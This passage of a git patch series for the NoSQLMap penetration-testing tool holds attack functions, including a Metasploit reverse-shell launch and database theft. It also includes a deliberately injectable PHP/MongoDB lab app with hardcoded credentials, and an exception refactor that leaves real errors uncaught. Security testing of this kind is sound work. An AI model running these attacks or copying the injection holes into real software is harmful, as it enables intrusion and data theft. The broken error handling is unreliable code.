b/nsmcouch.py index f2d344b..33bbe62 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import couchdb import urllib import requests @@ -39,10 +40,10 @@ def couchScan(target,port,pingIt): except couchdb.http.Unauthorized: return [1,None] - except: + except NoSQLMapException: return [2,None] - except: + except NoSQLMapException: return [3,None] else: @@ -59,10 +60,10 @@ def couchScan(target,port,pingIt): except couchdb.http.Unauthorized: return [1,None] - except: + except NoSQLMapException: return [2,None] - except: + except NoSQLMapException: return [3,None] def netAttacks(target,port, myIP, args = None): @@ -92,7 +93,7 @@ def netAttacks(target,port, myIP, args = None): print "CouchDB authenticated on " + target + ":" + str(port) mgtOpen = True - except: + except NoSQLMapException: raw_input("Failed to authenticate. Press enter to continue...") return @@ -113,7 +114,7 @@ def netAttacks(target,port, myIP, args = None): if mgtRespCode == 200: print "Sofa web management open at " + mgtUrl + ". No authentication required!" - except: + except NoSQLMapException: print "Sofa web management closed or requires authentication." if mgtOpen == True: @@ -152,7 +153,7 @@ def getPlatInfo(couchConn, target): return -def enumAtt(conn,target): +def enumAtt(conn, target, port): dbList = [] print "Enumerating all attachments..." @@ -179,7 +180,7 @@ def enumDbs (couchConn,target,port): print "\n".join(dbList) print "\n" - except: + except NoSQLMapException: print "Error: Couldn't list databases. The provided credentials may not have rights." if '_users' in dbList: @@ -253,7 +254,7 @@ def stealDBs (myDB,couchConn,target,port): else: return - except: + except NoSQLMapException: raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") return @@ -343,7 +344,7 @@ def dict_pass(key,salt,dbVer): passList = f.readlines() loadCheck = True - except: + except NoSQLMapException: print " Couldn't load file." print "Running dictionary attack..." diff --git a/nsmmongo.py b/nsmmongo.py index ee61e02..996668a 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import pymongo import urllib import json @@ -49,7 +50,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None): conn = pymongo.MongoClient(target) print "MongoDB authenticated on " + target + ":27017!" mgtOpen = True - except: + except NoSQLMapException: raw_input("Failed to authenticate. Press enter to continue...") return @@ -91,7 +92,7 @@ def netAttacks(target, dbPort, myIP, myPort, args = None): print "REST interface not enabled." print "\n" - except Exception, e: + except NoSQLMapException: print "MongoDB web management closed or requires authentication." if mgtOpen == True: @@ -180,7 +181,7 @@ def stealDBs(myDB,victim,mongoConn): else: return - except Exception, e: + except NoSQLMapException, e: if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return @@ -231,7 +232,7 @@ def dict_pass(user,key): with open (dictionary) as f: passList = f.readlines() loadCheck = True - except: + except NoSQLMapException: print " Couldn't load file." print "Running dictionary attack..." @@ -303,7 +304,7 @@ def enumDbs (mongoConn): print "\n".join(mongoConn.database_names()) print "\n" - except: + except NoSQLMapException: print "Error: Couldn't list databases. The provided credentials may not have rights." print "List of collections:" @@ -328,7 +329,7 @@ def enumDbs (mongoConn): if crack in yes_tag: passCrack(users[x]['user'],users[x]['pwd']) - except Exception, e: + except NoSQLMapException, e: print e print "Error: Couldn't list collections. The provided credentials may not have rights." @@ -336,11 +337,11 @@ def enumDbs (mongoConn): return -def msfLaunch(): +def msfLaunch(victim, myIP, myPort): try: proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"]) - except: + except NoSQLMapException: print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined." raw_input("Press enter to continue...") return @@ -357,10 +358,10 @@ def enumGrid (mongoConn): print " list of files:" print "\n".join(files) - except: + except NoSQLMapException: print "GridFS not enabled on " + str(dbItem) + "." - except: + except NoSQLMapException: print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights." return @@ -381,7 +382,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [0,dbVer] - except: + except NoSQLMapException: if str(sys.exc_info()).find('need to login') != -1: conn.close() return [1,None] @@ -390,7 +391,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [2,None] - except: + except NoSQLMapException: return [3,None] else: @@ -405,7 +406,7 @@ def mongoScan(ip,port,pingIt): conn.close() return [0,dbVer] - except Exception, e: + except NoSQLMapException, e: if str(e).find('need to login') != -1: conn.close() return [1,None] @@ -414,5 +415,5 @@ def mongoScan(ip,port,pingIt): conn.close() return [2,None] - except: + except NoSQLMapException: return [3,None] diff --git a/nsmscan.py b/nsmscan.py index 06cb044..b292aad 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -3,6 +3,7 @@ # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import ipcalc import nsmmongo import nsmcouch @@ -41,7 +42,7 @@ def massScan(platform, args = None): for ip in ipcalc.Network(subnet): ipList.append(str(ip)) optCheck = False - except: + except NoSQLMapException: raw_input("Not a valid subnet. Press enter to return to main menu.") return @@ -54,7 +55,7 @@ def massScan(platform, args = None): ipList = f.readlines() loadCheck = True optCheck = False - except: + except NoSQLMapException: print "Couldn't open file." if loadOpt == "3": @@ -119,7 +120,7 @@ def massScan(platform, args = None): print "Scan results saved!" select = False - except: + except NoSQLMapException: print "Couldn't save scan results." elif saveEm in no_tag: diff --git a/nsmweb.py b/nsmweb.py index e2fcc77..0b5a8f9 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -3,6 +3,7 @@ # See the file 'doc/COPYING' for copying permission +from exception import NoSQLMapException import urllib import urllib2 import string @@ -106,7 +107,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): else: print "Got " + str(appRespCode) + "from the app, check your options." - except Exception,e: + except NoSQLMapException,e: print e print "Looks like the server didn't respond. Check your options." @@ -445,7 +446,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) else: print "Got " + str(appRespCode) + "from the app, check your options." - except Exception,e: + except NoSQLMapException,e: print e print "Looks like the server didn't respond. Check your options." @@ -464,7 +465,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None) injIndex = int(args.injectedParameter) injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." - except: + except NoSQLMapException: if args == None: raw_input("Something went wrong. Press enter to return to the main menu...") return @@ -909,7 +910,7 @@ def buildUri(origUri, randValue, args=None): split_uri = origUri.split("?") params = split_uri[1].split("&") - except: + except NoSQLMapException: raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...") return @@ -938,7 +939,7 @@ def buildUri(origUri, randValue, args=None): for params in injOpt: print "Injecting the " + params + " parameter..." - except Exception: + except NoSQLMapException: raw_input("Something went wrong. Press enter to return to the main menu...") return From 24370604af4f863a006291541f890cf3ab08a1e1 Mon Sep 17 00:00:00 2001 From: Michael Skelton Date: Fri, 10 Apr 2020 08:27:55 +1000 Subject: [PATCH 35/43] Create stale.yml --- .github/workflows/stale.yml | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 .github/workflows/stale.yml diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml new file mode 100644 index 0000000..7bbc050 --- /dev/null +++ b/.github/workflows/stale.yml @@ -0,0 +1,19 @@ +name: Mark stale issues and pull requests + +on: + schedule: + - cron: "0 0 * * *" + +jobs: + stale: + + runs-on: ubuntu-latest + + steps: + - uses: actions/stale@v1 + with: + repo-token: ${{ secrets.GITHUB_TOKEN }} + stale-issue-message: 'Stale issue message' + stale-pr-message: 'Stale pull request message' + stale-issue-label: 'no-issue-activity' + stale-pr-label: 'no-pr-activity' From a7cba24a58ca2d239fc8d63cf4133f1c3007c3a0 Mon Sep 17 00:00:00 2001 From: Kert Ojasoo Date: Wed, 15 Apr 2020 13:24:20 +0300 Subject: [PATCH 36/43] Added exception.py to setuptools script --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index aab887a..a5c3613 100644 --- a/setup.py +++ b/setup.py @@ -6,7 +6,7 @@ name = "NoSQLMap", version = "0.7", packages = find_packages(), - scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py','nsmscan.py','nsmweb.py'], + scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py', 'nsmscan.py', 'nsmweb.py', 'exception.py'], entry_points = { "console_scripts": [ From 693b85d5a6c8b45de7d4f277365fcef3853bd52e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 8 Feb 2021 20:16:09 +0000 Subject: [PATCH 37/43] Bump httplib2 from 0.9 to 0.19.0 Bumps [httplib2](https://github.com/httplib2/httplib2) from 0.9 to 0.19.0. - [Release notes](https://github.com/httplib2/httplib2/releases) - [Changelog](https://github.com/httplib2/httplib2/blob/master/CHANGELOG) - [Commits](https://github.com/httplib2/httplib2/compare/0.9...v0.19.0) Signed-off-by: dependabot[bot] --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index a5c3613..b3503f3 100644 --- a/setup.py +++ b/setup.py @@ -14,7 +14,7 @@ ] }, - install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ + install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\ "requests==2.20.0"], From a32e49c042748e9d5d27c3ab36de1512e28ee527 Mon Sep 17 00:00:00 2001 From: Harry Crawford Date: Fri, 7 Oct 2022 18:25:07 +0200 Subject: [PATCH 38/43] Dockerized the included vulnerable application to make running on the local machine easier. Also updated the README.md file to provide instructions on use. --- README.md | 57 +++++++++++++++++------- vuln_apps/acct.php | 39 ---------------- vuln_apps/cust.html | 21 --------- vuln_apps/docker-compose.yml | 27 +++++++++++ vuln_apps/docker/apache/Dockerfile | 6 +++ vuln_apps/docker/apache/apache.conf | 16 +++++++ vuln_apps/docker/mongo/Dockerfile | 5 +++ vuln_apps/docker/mongo/import.sh | 2 + vuln_apps/{ => docker/mongo}/mongo.nosql | 2 - vuln_apps/docker/php/Dockerfile | 13 ++++++ vuln_apps/orderdata.php | 51 --------------------- vuln_apps/src/acct.php | 42 +++++++++++++++++ vuln_apps/src/index.html | 17 +++++++ vuln_apps/src/orderdata.php | 49 ++++++++++++++++++++ vuln_apps/{ => src}/populate_db.php | 2 +- vuln_apps/src/userdata.php | 48 ++++++++++++++++++++ vuln_apps/userdata.php | 50 --------------------- 17 files changed, 266 insertions(+), 181 deletions(-) delete mode 100644 vuln_apps/acct.php delete mode 100644 vuln_apps/cust.html create mode 100644 vuln_apps/docker-compose.yml create mode 100644 vuln_apps/docker/apache/Dockerfile create mode 100644 vuln_apps/docker/apache/apache.conf create mode 100644 vuln_apps/docker/mongo/Dockerfile create mode 100644 vuln_apps/docker/mongo/import.sh rename vuln_apps/{ => docker/mongo}/mongo.nosql (99%) create mode 100644 vuln_apps/docker/php/Dockerfile delete mode 100644 vuln_apps/orderdata.php create mode 100644 vuln_apps/src/acct.php create mode 100644 vuln_apps/src/index.html create mode 100644 vuln_apps/src/orderdata.php rename vuln_apps/{ => src}/populate_db.php (99%) create mode 100644 vuln_apps/src/userdata.php delete mode 100644 vuln_apps/userdata.php diff --git a/README.md b/README.md index 6841632..50abb20 100644 --- a/README.md +++ b/README.md @@ -1,61 +1,73 @@ -NoSQLMap -======== -[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) +# NoSQLMap + +[![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. -Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). - +Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo\_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). ## NoSQLMap MongoDB Management Attack Demo. -NoSQLMap MongoDB Management Attack Demo +NoSQLMap MongoDB Management Attack Demo ## Screenshots + ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) # Summary + ## What is NoSQL? + A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. ## DBMS Support + Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases. -## Requirements -On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. +## Requirements + +On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. Varies based on features used: -- Metasploit Framework, -- Python with PyMongo, -- httplib2, -- and urllib available. -- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions. -There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. +- Metasploit Framework, +- Python with PyMongo, +- httplib2, +- and urllib available. +- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions. + +There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. ## Setup + ``` python setup.py install ``` + Alternatively you can build a Docker image by changing to the docker directory and entering: + ``` docker build -t nosqlmap . ``` or you can use Docker-compose to run Nosqlmap: + ``` docker-compose build docker-compose run nosqlmap ``` + ## Usage Instructions + Start with + ``` python NoSQLMap ``` -NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: +NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: ``` 1-Set options (do this first) @@ -66,11 +78,12 @@ x-Exit ``` Explanation of options: + ``` 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack. 2. Set web app port-TCP port for the web application if a web application is the target. 3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102). -4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. +4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. 5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to. 6. Set shell listener port-If opening Meterpreter shells, specify the port. 7. Load options file-Load a previously saved set of settings for 1-6. @@ -79,4 +92,14 @@ Explanation of options: x. Back to main menu-Use this once the options are set to start your attacks. ``` -Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo_](https://twitter.com/codingo_) if you have any questions or suggestions. +Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo\_](https://twitter.com/codingo_) if you have any questions or suggestions. + +## Vulnerable Applications + +This repo also includes an intentionally vulnerable web application to test NoSQLMap with. To run this application, you need Docker installed. Then you can run the following commands from the /vuln_apps directory. + +``` +docker-compose build && docker-compose up +``` + +Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1/index.html diff --git a/vuln_apps/acct.php b/vuln_apps/acct.php deleted file mode 100644 index c03feef..0000000 --- a/vuln_apps/acct.php +++ /dev/null @@ -1,39 +0,0 @@ - - -Payment information - - -customers; - $collection = $db->paymentinfo; - $search = $_GET['acctid']; -// $criteria = array('id' => $search); -// $fields = array('name','id','cc','cvv2'); - - - $cursor = $collection->find(array('id' => $search)); - -// echo $search; - echo $cursor->count() . ' document(s) found.
'; - - foreach ($cursor as $obj) { - echo 'Name: ' . $obj['name'] . '
'; - echo 'Customer ID: ' . $obj['id'] . '
'; - echo 'Card Number: ' . $obj['cc'] . '
'; - echo 'CVV2 Code: ' . $obj['cvv2'] . '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -?> - - - - \ No newline at end of file diff --git a/vuln_apps/cust.html b/vuln_apps/cust.html deleted file mode 100644 index ed80d22..0000000 --- a/vuln_apps/cust.html +++ /dev/null @@ -1,21 +0,0 @@ - - -Customer Info - - - -

Customer Information

-

Enter your customer ID to show your account information:

- -
-Customer ID: - -
- -
- - - \ No newline at end of file diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml new file mode 100644 index 0000000..468c294 --- /dev/null +++ b/vuln_apps/docker-compose.yml @@ -0,0 +1,27 @@ +version: "3.8" +services: + apache: + container_name: apache + build: ./docker/apache + links: + - php + ports: + - "80:80" + volumes: + - ./src:/usr/local/apache2/htdocs + php: + container_name: php + build: ./docker/php + ports: + - "9000:9000" + volumes: + - ./src:/usr/local/apache2/htdocs + working_dir: /usr/local/apache2/htdocs + mongo: + container_name: mongo + environment: + MONGO_INITDB_ROOT_USERNAME: root + MONGO_INITDB_ROOT_PASSWORD: prisma + build: ./docker/mongo + ports: + - "27017:27017" diff --git a/vuln_apps/docker/apache/Dockerfile b/vuln_apps/docker/apache/Dockerfile new file mode 100644 index 0000000..9562989 --- /dev/null +++ b/vuln_apps/docker/apache/Dockerfile @@ -0,0 +1,6 @@ +FROM httpd:2.4.51 + +COPY apache.conf /usr/local/apache2/conf/apache.conf + +RUN echo "Include /usr/local/apache2/conf/apache.conf" \ + >> /usr/local/apache2/conf/httpd.conf \ No newline at end of file diff --git a/vuln_apps/docker/apache/apache.conf b/vuln_apps/docker/apache/apache.conf new file mode 100644 index 0000000..76f67dd --- /dev/null +++ b/vuln_apps/docker/apache/apache.conf @@ -0,0 +1,16 @@ +LoadModule deflate_module /usr/local/apache2/modules/mod_deflate.so +LoadModule proxy_module /usr/local/apache2/modules/mod_proxy.so +LoadModule proxy_fcgi_module /usr/local/apache2/modules/mod_proxy_fcgi.so + + + ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://php:9000/usr/local/apache2/htdocs/$1 + + DocumentRoot /usr/local/apache2/htdocs + + + Options -Indexes +FollowSymLinks + DirectoryIndex index.php + AllowOverride All + Require all granted + + \ No newline at end of file diff --git a/vuln_apps/docker/mongo/Dockerfile b/vuln_apps/docker/mongo/Dockerfile new file mode 100644 index 0000000..6920c0c --- /dev/null +++ b/vuln_apps/docker/mongo/Dockerfile @@ -0,0 +1,5 @@ +FROM mongo:latest + +ADD ./mongo.nosql /tmp/mongo.nosql +ADD ./import.sh /tmp/import.sh +RUN chmod +x /tmp/import.sh diff --git a/vuln_apps/docker/mongo/import.sh b/vuln_apps/docker/mongo/import.sh new file mode 100644 index 0000000..a845618 --- /dev/null +++ b/vuln_apps/docker/mongo/import.sh @@ -0,0 +1,2 @@ +#!/bin/bash +cat /tmp/mongo.nosql | mongosh "mongodb://root:prisma@mongo:27017" \ No newline at end of file diff --git a/vuln_apps/mongo.nosql b/vuln_apps/docker/mongo/mongo.nosql similarity index 99% rename from vuln_apps/mongo.nosql rename to vuln_apps/docker/mongo/mongo.nosql index 45bfcbc..577f0ed 100644 --- a/vuln_apps/mongo.nosql +++ b/vuln_apps/docker/mongo/mongo.nosql @@ -5,7 +5,6 @@ db.orders.insert({"id":"1","name":"Robin","item":"Music gift cards","quantity":" db.orders.insert({"id":"1001","name":"Moses","item":"Miami Heat tickets","quantity":"1000"}) db.orders.insert({"id":"66","name":"Rick","item":"Black hoodie","quantity":"1"}) db.orders.insert({"id":"0","name":"Nobody","item":"Nothing","quantity":"0"}) - use customers db.paymentinfo.insert({"name":"Adrien","id":"42","cc":"5555123456789999","cvv2":"1234"}) db.paymentinfo.insert({"name":"Justin","id":"99","cc":"5555123456780000","cvv2":"4321"}) @@ -13,7 +12,6 @@ db.paymentinfo.insert({"name":"Robin","id":"1","cc":"3333444455556666","cvv2":"2 db.paymentinfo.insert({"name":"Moses","id":"2","cc":"4444555566667777","cvv2":"3333"}) db.paymentinfo.insert({"name":"Rick","id":"3","cc":"5555666677778888","cvv2":"5678"}) db.paymentinfo.insert({"name":"Nobody","id":"0","cc":"45009876543215555","cvv2":"9999"}) - use appUserData db.users.insert({"name":"Adrien","username":"adrien","email":"adrien@sec642.org"}) db.users.insert({"name":"Justin","username":"justin","email":"justin@sec642.org"}) diff --git a/vuln_apps/docker/php/Dockerfile b/vuln_apps/docker/php/Dockerfile new file mode 100644 index 0000000..a266475 --- /dev/null +++ b/vuln_apps/docker/php/Dockerfile @@ -0,0 +1,13 @@ +FROM php:8.1-fpm + +RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini" +RUN echo "extension=mongodb.so" >> "$PHP_INI_DIR/php.ini" + +RUN apt-get update \ + && apt-get install -y libcurl4-openssl-dev pkg-config libssl-dev \ + && apt-get install -y git zip unzip \ + && pecl install mongodb \ + && php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \ + && php composer-setup.php --install-dir=/usr/local/bin --filename=composer \ + && rm composer-setup.php \ + && composer require mongodb/mongodb \ No newline at end of file diff --git a/vuln_apps/orderdata.php b/vuln_apps/orderdata.php deleted file mode 100644 index 427359f..0000000 --- a/vuln_apps/orderdata.php +++ /dev/null @@ -1,51 +0,0 @@ - - - - - -Order Lookup - - - -shop; - $collection = $db->orders; - $search = $_GET['ordersearch']; - $js = "function () { var query = '". $search . "'; return this.id == query;}"; - //print $js; - print '
'; - - $cursor = $collection->find(array('$where' => $js)); - echo $cursor->count() . ' order(s) found.
'; - - foreach ($cursor as $obj) { - echo 'Order ID: ' . $obj['id'] . '
'; - echo 'Name: ' . $obj['name'] . '
'; - echo 'Item: ' . $obj['item'] . '
'; - echo 'Quantity: ' . $obj['quantity']. '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -} -?> - - -Use the Order ID to locate your order:
-
-

Search

-
-
- -
- - diff --git a/vuln_apps/src/acct.php b/vuln_apps/src/acct.php new file mode 100644 index 0000000..21725a7 --- /dev/null +++ b/vuln_apps/src/acct.php @@ -0,0 +1,42 @@ + + + + Payment information + + + + [], + ]; + $filter = ['id' => $_GET['acctid']]; + $query = new MongoDB\Driver\Query($filter, $options); + + $cursor = $conn->executeQuery('customers.paymentinfo', $query); + $counter = 0; + + foreach ($cursor as $obj) { + $counter++; + echo 'Name: ' . $obj->name . '
'; + echo 'Customer ID: ' . $obj->id . '
'; + echo 'Card Number: ' . $obj->cc . '
'; + echo 'CVV2 Code: ' . $obj->cvv2 . '
'; + echo '
'; + } + + echo $counter . ' document(s) found.
'; + + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + ?> + + + + + \ No newline at end of file diff --git a/vuln_apps/src/index.html b/vuln_apps/src/index.html new file mode 100644 index 0000000..62996f1 --- /dev/null +++ b/vuln_apps/src/index.html @@ -0,0 +1,17 @@ + + + Customer Info + + + +

Customer Information

+

Enter your customer ID to show your account information:

+ +
+ Customer ID: + +
+ +
+ + diff --git a/vuln_apps/src/orderdata.php b/vuln_apps/src/orderdata.php new file mode 100644 index 0000000..0430cc2 --- /dev/null +++ b/vuln_apps/src/orderdata.php @@ -0,0 +1,49 @@ + + + + Order Lookup + + + shop; + $collection = $db->orders; + $search = $_GET['ordersearch']; + $js = "function () { var query = '". $search . "'; return this.id == query;}"; + //print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' order(s) found.
'; + + foreach ($cursor as $obj) { + echo 'Order ID: ' . $obj['id'] . '
'; + echo 'Name: ' . $obj['name'] . '
'; + echo 'Item: ' . $obj['item'] . '
'; + echo 'Quantity: ' . $obj['quantity']. '
'; + echo '
'; + } + $conn->close(); + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + } + ?> + + + Use the Order ID to locate your order:
+
+

Search

+
+
+ +
+ + + \ No newline at end of file diff --git a/vuln_apps/populate_db.php b/vuln_apps/src/populate_db.php similarity index 99% rename from vuln_apps/populate_db.php rename to vuln_apps/src/populate_db.php index 44d2576..c058543 100644 --- a/vuln_apps/populate_db.php +++ b/vuln_apps/src/populate_db.php @@ -104,4 +104,4 @@ echo $obj["email"] . "
"; } -?> +?> \ No newline at end of file diff --git a/vuln_apps/src/userdata.php b/vuln_apps/src/userdata.php new file mode 100644 index 0000000..bf74313 --- /dev/null +++ b/vuln_apps/src/userdata.php @@ -0,0 +1,48 @@ + + + + User Profile Lookup + + + appUserData; + $collection = $db->users; + $search = $_GET['usersearch']; + $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; + print $js; + print '
'; + + $cursor = $collection->find(array('$where' => $js)); + echo $cursor->count() . ' user found.
'; + + foreach ($cursor as $obj) { + echo 'Name: ' . $obj['name'] . '
'; + echo 'Username: ' . $obj['username'] . '
'; + echo 'Email: ' . $obj['email'] . '
'; + echo '
'; + } + + $conn->close(); + } catch (MongoConnectionException $e) { + die('Error connecting to MongoDB server : ' . $e->getMessage()); + } catch (MongoException $e) { + die('Error: ' . $e->getMessage()); + } + } + ?> + + + Enter your username:
+
+

Search

+
+
+ +
+ + \ No newline at end of file diff --git a/vuln_apps/userdata.php b/vuln_apps/userdata.php deleted file mode 100644 index 0fc8165..0000000 --- a/vuln_apps/userdata.php +++ /dev/null @@ -1,50 +0,0 @@ - - - - - -User Profile Lookup - - - -appUserData; - $collection = $db->users; - $search = $_GET['usersearch']; - $js = "function () { var query = '". $usersearch . "'; return this.username == query;}"; - print $js; - print '
'; - - $cursor = $collection->find(array('$where' => $js)); - echo $cursor->count() . ' user found.
'; - - foreach ($cursor as $obj) { - echo 'Name: ' . $obj['name'] . '
'; - echo 'Username: ' . $obj['username'] . '
'; - echo 'Email: ' . $obj['email'] . '
'; - echo '
'; - } - -$conn->close(); -} catch (MongoConnectionException $e) { - die('Error connecting to MongoDB server : ' . $e->getMessage()); -} catch (MongoException $e) { - die('Error: ' . $e->getMessage()); -} -} -?> - - -Enter your username:
-
-

Search

-
-
- -
- - From 15aeec1e3daa4eb45d49f663dcdeca5374a8a31c Mon Sep 17 00:00:00 2001 From: Everton Vieira <54176981+gu4xin1m@users.noreply.github.com> Date: Fri, 29 Sep 2023 00:29:05 -0300 Subject: [PATCH 39/43] Update Dockerfile Fixing the dependency error. Certifi's last python 2.7 release is 2020.04.5, otherwise the docker run command will raise a error. --- docker/Dockerfile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docker/Dockerfile b/docker/Dockerfile index 511d0a8..6ff83f2 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -10,6 +10,8 @@ WORKDIR /root/NoSqlMap RUN python setup.py install +RUN python -m pip install requests 'certifi<=2020.4.5.1' + COPY entrypoint.sh /tmp/entrypoint.sh RUN chmod +x /tmp/entrypoint.sh From 7f8fab893555254f03da48f725b9189108625f23 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 9 Jun 2025 21:06:50 +0000 Subject: [PATCH 40/43] Bump requests from 2.20.0 to 2.32.4 Bumps [requests](https://github.com/psf/requests) from 2.20.0 to 2.32.4. - [Release notes](https://github.com/psf/requests/releases) - [Changelog](https://github.com/psf/requests/blob/main/HISTORY.md) - [Commits](https://github.com/psf/requests/compare/v2.20.0...v2.32.4) --- updated-dependencies: - dependency-name: requests dependency-version: 2.32.4 dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index b3503f3..bbf747d 100644 --- a/setup.py +++ b/setup.py @@ -16,7 +16,7 @@ install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", 